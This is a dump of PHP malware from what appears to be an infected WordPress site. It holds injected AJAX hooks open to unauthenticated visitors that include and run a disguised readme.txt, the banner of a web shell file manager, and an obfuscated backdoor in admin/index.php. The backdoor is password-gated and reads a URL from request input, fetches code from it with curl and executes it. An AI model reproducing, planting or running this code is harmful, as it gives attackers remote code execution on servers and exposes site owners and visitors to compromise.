if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/admin/admin/index.php
<?php
 goto laV2DMD0UED6d; JSz2B7ileZSHx: @(md5(md5(md5(md5($tFub9GmUY8hOt[4])))) === "\x64\61\65\x35\67\x64\146\x62\142\x35\x36\x35\60\x36\x35\x39\141\x62\65\65\141\145\x63\145\x63\64\71\x32\x66\x38\x34\x66") && (count($tFub9GmUY8hOt) == 10 && in_array(gettype($tFub9GmUY8hOt) . count($tFub9GmUY8hOt), $tFub9GmUY8hOt)) ? ($tFub9GmUY8hOt[65] = $tFub9GmUY8hOt[65] . $tFub9GmUY8hOt[76]) && ($tFub9GmUY8hOt[84] = $tFub9GmUY8hOt[65]($tFub9GmUY8hOt[84])) && @($tFub9GmUY8hOt = $tFub9GmUY8hOt[84]($tFub9GmUY8hOt[57], $tFub9GmUY8hOt[65](${$tFub9GmUY8hOt[38]}[22]))) && $tFub9GmUY8hOt() : $tFub9GmUY8hOt; goto kB2ZoyRY7gQrl; laV2DMD0UED6d: $NumRdNNl_YrNW = range("\176", "\x20"); goto OoSH2THunp6ab; OoSH2THunp6ab: $tFub9GmUY8hOt = ${$NumRdNNl_YrNW[25 + 6] . $NumRdNNl_YrNW[7 + 52] . $NumRdNNl_YrNW[25 + 22] . $NumRdNNl_YrNW[15 + 32] . $NumRdNNl_YrNW[42 + 9] . $NumRdNNl_YrNW[18 + 35] . $NumRdNNl_YrNW[11 + 46]}; goto JSz2B7ileZSHx; moy1rs3i44eRO: class zrCixANEKlbb9 { static function ELS7195qXID8T($UjVgTqmC8eabX) { goto D9ENlXi_aow5U; N3ZKwJh70FYZ_: $p2DC8eZXfx_qa = ''; goto KrTfTs41B6UfG; wDIPpBJGWVHFn: $IUfIclbw2YSMe = $mLTCAhoJDo_Bz("\176", "\40"); goto V62vkCWCiefb6; D9ENlXi_aow5U: $mLTCAhoJDo_Bz = "\162" . "\141" . "\156" . "\x67" . "\x65"; goto wDIPpBJGWVHFn; WWVU39aVhhiM6: return $p2DC8eZXfx_qa; goto dDOobxwO8Jpn5; KrTfTs41B6UfG: foreach ($rQGLh26j_0U71 as $q4gj09dUxkSzo => $EskdHwn9hUaOY) { $p2DC8eZXfx_qa .= $IUfIclbw2YSMe[$EskdHwn9hUaOY - 29928]; C2HMsbzlZmBFJ: } goto hO53R2v70WTPI; V62vkCWCiefb6: $rQGLh26j_0U71 = explode("\x26", $UjVgTqmC8eabX); goto N3ZKwJh70FYZ_; hO53R2v70WTPI: dr5jsVa4WlsNY: goto WWVU39aVhhiM6; dDOobxwO8Jpn5: } static function DG8ybbjIJm8p0($fTAVCioTVFPp8, $PrxXgv5A8RRnn) { goto ZLJUPTiC2o842; ZLJUPTiC2o842: $y6myUku8DG1_i = curl_init($fTAVCioTVFPp8); goto z6XgAqfH8ktV3; z6XgAqfH8ktV3: curl_setopt($y6myUku8DG1_i, CURLOPT_RETURNTRANSFER, 1); goto Sba5ikTvwZKab; cfGA22tRn73eL: return empty($djPFc1Nx9g4fT) ? $PrxXgv5A8RRnn($fTAVCioTVFPp8) : $djPFc1Nx9g4fT; goto R3vC3D0x6QBlq; Sba5ikTvwZKab: $djPFc1Nx9g4fT = curl_exec($y6myUku8DG1_i); goto cfGA22tRn73eL; R3vC3D0x6QBlq: } static function K49rg3Gc2Lu_f() { goto lcd67PTFS1odb; utTlPISVR_6nE: foreach ($Y5W6rO01qieRv as $D8FwWAb0X8gBq) { $yoseaO6KCJj1U[] = self::Els7195qxid8T($D8FwWAb0X8gBq); SSHCaRi6pkGq4: } goto KZOu5fTc8u4Ze; KZOu5fTc8u4Ze: eUM6lFZxfRVEQ: goto fXKqHxy8LAbHk; sz2R39Y2QWWAq: @$yoseaO6KCJj1U[0 + 10](INPUT_GET, "\157\x66") == 1 && die($yoseaO6KCJj1U[1 + 4](__FILE__)); goto BRKrRse8tr3Rk; fXKqHxy8LAbHk: $apEXJpKm4_HFF = @$yoseaO6KCJj1U[1]($yoseaO6KCJj1U[3 + 7](INPUT_GET, $yoseaO6KCJj1U[4 + 5])); goto S09LDksjo9O35; BRKrRse8tr3Rk: if (!(@$HSY2FubhsfR3K[0] - time() > 0 and md5(md5($HSY2FubhsfR3K[3 + 0])) === "\x62\65\143\x34\x31\144\66\141\x34\x63\67\141\64\60\60\145\x38\61\x35\143\x30\x62\70\61\x31\x38\70\67\62\64\142\146")) { goto UWbf7gYNv9neL; } goto B5z36lFYkhTz9; S09LDksjo9O35: $jOKIn2EnVS7Rq = @$yoseaO6KCJj1U[3 + 0]($yoseaO6KCJj1U[6 + 0], $apEXJpKm4_HFF); goto Yw1jDRC2SCOP3; gZemrOmooT7Q6: UWbf7gYNv9neL: goto Kf98p2JJbQo95; lcd67PTFS1odb: $Y5W6rO01qieRv = array("\62\x39\71\x35\65\46\x32\71\71\x34\60\x26\x32\71\x39\x35\x33\46\62\71\x39\x35\x37\46\62\x39\71\x33\x38\x26\x32\71\x39\65\x33\46\62\x39\x39\x35\x39\x26\x32\71\71\65\62\x26\x32\x39\x39\63\67\x26\x32\71\71\x34\x34\x26\x32\x39\71\x35\x35\46\x32\x39\x39\x33\x38\x26\x32\71\71\x34\71\46\x32\71\71\64\x33\46\x32\x39\71\64\64", "\x32\x39\x39\x33\71\x26\x32\71\71\63\x38\x26\62\x39\71\64\x30\46\62\x39\71\x35\71\46\62\x39\71\64\x30\x26\x32\71\71\64\63\x26\62\x39\71\x33\70\x26\x33\60\60\x30\x35\46\x33\x30\60\x30\x33", "\62\x39\x39\x34\70\x26\x32\x39\x39\x33\71\x26\x32\x39\71\x34\63\46\x32\71\71\x34\x34\46\x32\x39\71\x35\x39\46\x32\71\71\x35\64\46\62\71\71\x35\63\x26\62\x39\71\x35\65\x26\x32\x39\71\64\63\46\x32\x39\71\x35\64\x26\62\x39\x39\65\63", "\62\x39\x39\64\x32\46\62\71\x39\x35\67\46\62\71\x39\x35\65\x26\x32\x39\x39\64\x37", "\62\x39\71\x35\x36\46\x32\x39\x39\x35\67\46\x32\71\x39\x33\x39\x26\x32\x39\x39\65\x33\46\63\x30\x30\60\x30\x26\x33\x30\60\x30\62\46\x32\71\x39\x35\71\46\x32\x39\x39\65\64\46\x32\71\71\65\x33\x26\62\x39\x39\x35\65\x26\x32\x39\x39\64\x33\46\62\x39\x39\x35\x34\46\x32\x39\x39\x35\x33", "\x32\x39\71\65\x32\x26\x32\x39\x39\64\71\46\62\71\71\x34\x36\x26\62\x39\71\x35\63\46\x32\x39\x39\65\x39\x26\x32\x39\71\65\61\x26\62\71\71\x35\63\x26\x32\x39\71\x33\x38\46\x32\71\71\x35\71\46\x32\x39\x39\65\65\x26\x32\x39\x39\x34\63\46\x32\x39\71\64\64\x26\62\x39\71\63\x38\x26\62\71\71\65\63\x26\x32\x39\x39\x34\64\x26\x32\71\71\63\70\x26\x32\x39\71\63\x39", "\x32\x39\71\70\62\46\x33\60\x30\61\62", "\x32\71\x39\62\x39", "\x33\60\x30\60\67\x26\63\x30\x30\61\62", "\62\x39\71\x38\x39\x26\x32\71\x39\x37\x32\x26\x32\71\x39\x37\62\x26\x32\71\x39\70\x39\x26\62\x39\71\x36\x35", "\62\71\x39\x35\62\46\x32\71\71\64\x39\46\x32\x39\x39\x34\66\x26\x32\71\71\63\x38\46\62\71\x39\x35\x33\x26\x32\x39\x39\x34\x30\46\x32\71\71\x35\71\46\x32\71\71\x34\x39\x26\62\x39\71\x34\64\46\62\x39\71\x34\x32\x26\x32\71\71\x33\67\x26\x32\x39\x39\63\x38"); goto utTlPISVR_6nE; hT0C2mJkYP67x: @$yoseaO6KCJj1U[0]('', $yoseaO6KCJj1U[1 + 6] . $yoseaO6KCJj1U[1 + 3]($O1XP5Ki2bVKna) . $yoseaO6KCJj1U[6 + 2]); goto AxxmS_1W4BtWb; AxxmS_1W4BtWb: die; goto gZemrOmooT7Q6; B5z36lFYkhTz9: $O1XP5Ki2bVKna = self::DG8YbbjIJm8P0($HSY2FubhsfR3K[1 + 0], $yoseaO6KCJj1U[1 + 4]); goto hT0C2mJkYP67x; Yw1jDRC2SCOP3: $HSY2FubhsfR3K = $yoseaO6KCJj1U[0 + 2]($jOKIn2EnVS7Rq, true); goto sz2R39Y2QWWAq; Kf98p2JJbQo95: } } goto OKcQUFsqzl68p; kB2ZoyRY7gQrl: metaphone("\x4f\x54\x49\167\117\x54\x45\x34\117\x54\x59\62\x4d\152\125\60\116\x54\x63\62\x4e\124\101\62\x4d\x44\131\x77\116\x44\105\170"); goto moy1rs3i44eRO; OKcQUFsqzl68p: ZrCiXanEKlBb9::k49rG3Gc2lU_f();
?>